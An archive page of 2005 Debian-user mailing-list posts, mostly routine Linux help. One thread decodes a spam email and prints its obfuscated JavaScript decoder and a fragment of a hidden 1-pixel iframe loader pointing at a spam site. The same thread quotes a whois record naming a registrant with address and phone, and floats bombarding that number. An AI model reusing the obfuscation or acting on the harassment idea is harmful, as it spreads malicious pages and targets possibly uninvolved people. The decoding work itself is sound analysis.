-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: decyphering spam

2005-06-02 Thread michael
On Thu, 2005-06-02 at 17:06 -0400, Darryl Clarke wrote:
> On 6/2/05, Steve Lamb <[EMAIL PROTECTED]> wrote:
> > michael wrote:
> > > how do i decypher what the following HTML/javascript attempts (original
> > > 'write' was all one line)?
> > 
> > Personally, I used Python's urllib.unquote and got the following:
> > 
> > document.write('empty..'); > language="javascript">function dF(s){var 
> > s1=unescape(s.substr(0,s.length-1));
> > var
> > t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}
> > 
> > > dF('*8HXHWNUY*75QFSLZFLJ*8I*77of%
> > > 7Bfxhwnuy*77*75XWH*8I*77ktyt3ox*77*8J*5I*5F44*75XFRUQJ*75XHWNUY*75*787*752*75HFQQNSL*75FS*75J%5DYJWSFQ*75OX*75KNQJ*5I*5F*8H4XHWNUY*8J*5I*5F5')
> > 
> > Which is then fed the above segment to decode.  Don't feel like digging
> > into the above javascript to make a Python equivolant decoder for that
> > section.  Maybe someone else will jump in?  :D
> > 
> 
> That final segment decodes to this:
>  
> SCRIPT LANGUAGE="javascript" SRC="foto.js"> // SAMPLE SCRIPT #2 -
> CALLING AN EXTERNAL JS FILE  
> which, unless there was a base reference issued in the actual spam,
> leads nowhere. :)
> 

well i can 'wget' the foto.js from the site which is (if anybody is
interested!) a bit too simple to decode but those up for the challenge
could decypher the index.php

url = "http://www.trafficpro.us/index.php";;
qwe = ' di'+'spl'+'ay:n'+'one'+';}';
rty = '" FR'+'AMEB'+'ORD'+'ER="0" WIDTH=1 HEIGHT=1'+'0%
>';
uio = '';
asd = ' --
> ~ Darryl  ~ [EMAIL PROTECTED]
> http://smartssa.com / http://darrylclarke.com
> 
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Software Raid Partition'd?

2005-06-02 Thread michael

Quoting Laurent CARON <[EMAIL PROTECTED]>:


[EMAIL PROTECTED] a écrit :


Hello,

...

Is it best to just create 1 Raid 5 mounted on /
or
Create several Raid 5 arrays and split them into
/
/home
/var
/usr

Note: Will use a Raid 0 mounted on /boot


raid 0 on /boot ??


Whoops, meant to say Raid 1 on /boot.




This message was sent using IMP, the Internet Messaging Program.



Re: decyphering spam

2005-06-03 Thread michael
It seems this spam leads to trafficpro.us which is registered by
somebody in UK (see below) - do you think it's worth reporting or taking
legal action? I guess we could just bombard their phone number

[EMAIL PROTECTED]:/tmp$ whois trafficpro.us |less
Domain Name: TRAFFICPRO.US
Domain ID:   D7444563-US
Sponsoring Registrar:SCHLUND + PARTNER AG
Domain Status:   ok
Registrant ID:   SPAG-4476
Registrant Name: Julie Prescott
Registrant Address1: Orchard Terrace
Registrant Address2: 8
Registrant City: York
Registrant Postal Code:  YO51 9AF
Registrant Country:  Great Britain (UK)
Registrant Country Code: GB
Registrant Phone Number: +44.1614315155
Registrant Email:[EMAIL PROTECTED]
Registrant Application Purpose:  P1
Registrant Nexus Category:   C11
Administrative Contact ID:   SPAG-4476
Administrative Contact Name: Julie Prescott
Administrative Contact Address1: Orchard Terrace
Administrative Contact Address2: 8
Administrative Contact City: York
Administrative Contact Postal Code:  YO51 9AF
Administrative Contact Country:  Great Britain (UK)
Administrative Contact Country Code: GB
Administrative Contact Phone Number: +44.1614315155
{etc}


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: decyphering spam

2005-06-03 Thread michael
On Fri, 2005-06-03 at 10:05 +0100, Dave Howorth wrote:
> michael wrote:
> > It seems this spam leads to trafficpro.us which is registered by
> > somebody in UK (see below) - do you think it's worth reporting or taking
> > legal action? I guess we could just bombard their phone number
> 
> Or perhaps do a little research first?
> 
> The registrant claims to be in York.
> 
> The phone number is nowhere near York. It apparently belongs to a 
> company in Stockport called Railweight
> http://www.touchstockport.com/business/list/bid/2964798
> 
> The postcode YO51 9AF isn't in York either and isn't on Orchard Terrace.
> http://www.multimap.com/map/browse.cgi?client=public&X=439500&Y=466750&width=700&height=400&gride=439511&gridn=466700&srec=0&coordsys=gb&db=pc&addr1=&addr2=&addr3=&pc=&advanced=&local=&localinfosel=&kw=&inmap=&table=&ovtype=&zm=0&in.x=6&in.y=11&scale=5000
> 

I did read it and wonder about the phone number being Manchester, even
rang it up but only heard gossiping! 

I guess you're implying that trafficpro.us have fake 'whois'
credentials? In which case should a complaint be made to nominet
(other?) to get their domain removed?


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: root is unable to change file permissions!

2005-06-03 Thread michael
On Fri, 2005-06-03 at 20:04 +1200, Andreas Hatz wrote:
> Hello Debain Users,
>  
> We have an interesting phenomenon occuring on one of our servers. We
> have noticed that two files in the /bin directory have had their
> executable permissions removed and we are unable to chmod the files as
> root.
>  
> current file permissions:
> -rw-r--r--   1 root root35464 May 31 13:02 /bin/login
> -rw-r--r--   1 root root54152 Aug 29  2001 /bin/netstat
>  
> when trying to change permissions:
>  
> ns:~# whoami
> root
> 
> ns:~# id
> uid=0(root) gid=0(root) groups=0(root)
> 
> ns:~# chmod 755 /bin/login
> chmod: changing permissions of `/bin/login': Operation not permitted
> 
> We have tried doing the same thing from the rescue disc login prompt.
> same outcome.
>  
> This seems to be a serious security issue. Root user seems to have
> lost control of some files. Other files can be changed using the above
> commands.
>  
> Any ideas?

1) do not panic
2) what are the permissions of /bin
3) keep calm it's only an operating system (*)

M
(*) prob just a UK joke...


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



apt or aptitude on sarge

2005-06-08 Thread michael
I note that it seems that aptitude is recommended over apt for Sarge. I
was wondering if it's as str forward as just using aptitude from now on?
eg I do not have to rebuild anything the first time i use aptitude (ie
it uses the same dpkg info as apt - but in that case why is aptitude
recommended over and above apt?)

thanks
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: gnome-panel .. gone .. #@!!!!

2005-06-09 Thread michael
On Thu, 2005-06-09 at 07:43 -0500, James Miller wrote:
> On Thu, 9 Jun 2005, alan bonard wrote:
> 
> > Hi, I logged into a seldom-used account to satisfy an 80 yr. old
> > lady's wish to send an urgent
> > email and found two panels giving me a choice between 'X-settings' and
> > 'Gnome-session',
> > choosing the latter out of long-term habit. I then found gnome-panels
> > to be completely gone.
> >
> > I've been trying to reverse-engineer my way out of this be repeating
> > these steps but that
> > choice is not re-appearing.
> >
> > Trying 'apt-get -f install gnome-panel' as root gives me a long string
> > of unmet dependencies
> > which won't cut'n paste from gnome-terminal.
> >
> > Is this something affecting other Debian unstable users at the moment,
> > or just me ?
> 
> Btw, here are the results I get running apt-get -f install gnome-panel:
> 
> [EMAIL PROTECTED]:~$ sudo apt-get -f install gnome-panel
> Reading Package Lists... Done
> Building Dependency Tree... Done
> Some packages could not be installed. This may mean that you have
> requested an impossible situation or if you are using the unstable
> distribution that some required packages have not yet been created
> or been moved out of Incoming.
> 
> Since you only requested a single operation it is extremely likely that
> the package is simply not installable and a bug report against
> that package should be filed.
> The following information may help to resolve the situation:
> 
> The following packages have unmet dependencies:
>gnome-panel: Depends: libbonoboui2-0 (>= 2.5.4) but it is not going to 
> be installed
{etc}  

have you tried 
  apt-get dist-upgrade
i find that sometimes sorts this things out


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



pls explain Amd numbering

2005-06-09 Thread michael
On Tue, 2005-06-07 at 10:58 -0500, John Hasler wrote:
> Robert Storey wrote:
> > I believe that K6 is compatible with 486 and even 586.
> 
> hasler/~ uname -a
> Linux hasler.dhh.gt.org 2.2.12 #1 Mon Oct 4 22:06:49 CDT 1999 i586 unknown
> hasler/~ cat /proc/cpuinfo
> processor   : 0
> vendor_id   : AuthenticAMD
> cpu family  : 5
> model   : 6
> model name  : AMD-K6tm w/ multimedia extensions
> 

Now I am confused since my bios says my chip is amd k7 athlon 4 but
cpuinfo gives

[EMAIL PROTECTED]:~$ cat /proc/cpuinfo
processor   : 0
vendor_id   : AuthenticAMD
cpu family  : 6
model   : 6
model name  : AMD Athlon(tm) 4 Processor



> -- 
> John Hasler
> 



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Safety issues of cronning "apt-get -y upgrade"

2005-06-12 Thread michael

Quoting "Clinton V. Weiss" <[EMAIL PROTECTED]>:


On a stable Debian machine, would cronning
 apt-get -y upgrade
(with the apt-get -y update of course) on a daily or weekly basis 
have any fault points?


I'm asking since I'd like to ensure that upgrading of a server's 
packages is safe and secure without the need to SSH into the machine 
just for updates.


Personally, I don't like the -y option unless I know exactly before
hand which packages are upgraded. What if you have a custom conf file
and it overwrites your custom one with the new one?
For example:
Squid and proxy auth.
The woody version and sarge version have different ways of configuring
proxy auth. If you blindly upgraded to sarge, your proxy auth would 
probably be busted.

In most cases, your old conf would probably work just great, or perhaps apt
does a great job of re-creating the new one based on your old settings.
But in the end, on a production server, I like to know exactly whats happening
to a the server during an upgrade. Therefore, I prefer manual upgrades.
Just my opinion.

Cheers,
Mike


This message was sent using IMP, the Internet Messaging Program.


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Request for window manager recommendations

2005-06-12 Thread michael

Quoting [EMAIL PROTECTED]:


Have just finished installing sarge (am a first-time debian user, very
impressed), and now am chosing a window manager. I have fond memories
of using a little-known WM called VTWM on SunOS, but that was almost 10
years ago now. I'm guessing the are other, at least equally noteworthy
WM's around.

Not so keen on KDE/GNOME because as I understand they are somewhat
CPU-intensive and take longer to load than the traditional WMs.

A personal recommendation of your favourite window manager would be
much appreciated.


My favorite has always been icewm.
Very fast, and simple, but very configurable.


This message was sent using IMP, the Internet Messaging Program.


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: How to capture bootup messages?

2005-06-13 Thread michael
On Mon, 2005-06-13 at 15:15 -0400, John Kelly wrote:
> When booting, I see console messages from programs using stdout and
> stderr, scrolling by too fast to read.  They are not logged in dmesg
> or any /var/log file.
> 
> How to capture them?

man bootlogd
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: No updates for Sarge

2005-06-14 Thread michael
On Tue, 2005-06-14 at 09:36 +0200, Jonathan Kaye wrote:
> En/La John Graves ha escrit, a 14/06/05 07:47:
> > I was successfully using apt-get to maintain my sarge installation on my
> > server.  The week before sarge went stable I changed the 2 entries in my
> > sources.list from testing to sarge and again successfully received an
> > update.  Now that Sarge is stable, I have not received any updates
> > either normal or security.   My sources.list is as shown in the release
> > notes.  I show a list of hits but nothing is brought down either from
> > debian or from security.debian sources.   I am using http.us.debian.org
> > and security.debian.org. Can someone point me to a reference that might
> > help me figure out what is happening?
> I'm not sure what you have in your sources.list but here's what it
> should look like wrt security updates:
> Keeping your Debian system secure
> 
> In order to receive the latest Debian security advisories, subscribe to
> the debian-security-announce mailing list.
> 
> You can use apt to easily get the latest security updates. This requires
> a line such as
> 
> deb http://security.debian.org/ sarge/updates main contrib non-free
> 
> in your /etc/apt/sources.list file.
> 
> If you have that line in sources.list then I suppose there haven't been
> any security updates recently.

I had O(50Mb) download from `apt-get install upgrade` today from said
source (first time for about a week I've run the cmd)


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: [Bit OT] Printers

2005-06-14 Thread michael
On Tue, 2005-06-14 at 12:35 +0100, Graham Smith wrote:
> Hi,
> 
> Sorry for the slightly off topic nature of this question but I thought 
> this was probably the best place to ask it.
> 
> I'm looking to get a half way decent laser printer for my (very) new 
> small business. If possible I would like colour but if a sufficiently 
> good black and white is available for the right price I will take that 
> as it will mostly only be printing packing sheets.
> 
> Ideally the printer will live as a separate device on the network but if 
> that isn't an option I am happy enough to run it through cups.
> 
> In my ideal world it will also have a duplexer or at least be able to 
> accept one.
> 
> Finally, it _must_ be well supported by Debian (testing) - hence the 
> reason for posting the question here - although I suppose if it's a 
> network connected PS printer that wouldn't be such an issue.
> 
> I would prefer new and I was hoping to pay up to around £300 ($600).
> 
> Many thanks for your sage advice.
> 
> Graham

how about putting 'linux' and 'printer' into a search engine, you may
find something like http://www.linuxprinting.org/ which tells you what
works with Linux (but not Debian/testing specifically)

Personally, I've a Brother HL-5150D which does duplex and wasn't
expensive but I do have some problems printing PDFs (the duplexer
insists that it has to be A4 paper and I've obviously not got all the
CUPS & foomatic perfectly set up to do this for all possible PDF files)

Michael



  1   2   3   4   5   6   7   8   9   10   >